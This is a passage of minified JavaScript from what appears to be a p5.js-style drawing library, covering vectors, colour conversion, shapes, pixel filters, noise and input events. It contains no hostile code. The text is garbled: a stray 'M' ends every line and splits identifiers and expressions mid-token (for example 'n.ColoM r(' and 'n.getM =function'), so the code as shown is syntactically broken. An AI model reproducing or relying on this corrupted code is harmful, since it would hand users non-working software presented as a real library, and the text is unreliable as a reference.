tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
